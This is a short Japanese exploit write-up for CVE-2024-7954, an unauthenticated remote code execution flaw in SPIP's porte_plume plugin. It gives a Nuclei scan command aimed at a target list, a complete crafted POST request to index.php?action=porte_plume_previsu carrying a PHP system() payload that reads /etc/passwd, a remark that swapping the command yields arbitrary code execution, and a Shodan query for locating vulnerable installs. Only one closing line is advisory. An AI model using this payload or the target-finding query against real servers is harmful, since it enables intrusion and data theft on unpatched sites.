
CVE-2024-7954 のエクスプロイト: SPIP の porte_plume プラグインにおけるリモートコード実行。Nuclei スキャンテンプレートと Shodan dork を含み、脆弱なインスタンスを特定します。
SPIPのバージョン4.30-alpha2、4.2.13、4.1.16より前のバージョンで使用されているporte_plumeプラグインは、重大な**任意のコード実行(RCE)**脆弱性の影響を受けます。この欠陥により、リモートの認証されていない攻撃者が特定のHTTPリクエストを作成することで、SPIPユーザーとして任意のPHPコードを実行できるようになります。悪用される可能性は深刻で、攻撃者がサーバー上で悪意のあるコマンドを実行できるため、不正アクセス、データ漏洩、またはさらなるシステム侵害につながる可能性があります。
##Nuclei Scan
kali@Dell:~/nuclei-templates-main/http/cves/2024$ nuclei -l targets -t /home/kali/nuclei-templates-main/http/cves/2024/CVE-2024-7954.yaml
この脆弱性を悪用するために使用できる、細工されたHTTPリクエストの例は次のとおりです。
POST /index.php?action=porte_plume_previsu HTTP/1.1
Host: {{Hostname}} -> IP
Content-Type: application/x-www-form-urlencoded
data=AA_[->URL<?php system('cat /etc/passwd'); ?>]_BB
POSTリクエストはSPIPのindex.phpファイルのporte_plume_previsuアクションに送信されます。system()関数を利用してコマンドを実行するペイロードが含まれています(この場合、cat /etc/passwdはパスワードファイルの内容を読み取ります)。system()関数内のコマンドを変更することで、サーバー上で任意のPHPコードを実行でき、深刻な結果を招く可能性があります。潜在的に脆弱なSPIPインストールを特定するには、次のShodan検索クエリを使用できます。
app="SPIP"
この脆弱性は、ソフトウェアを最新の状態に保ち、悪用から保護するための堅牢なセキュリティ対策を実装することの重要性を強調しています。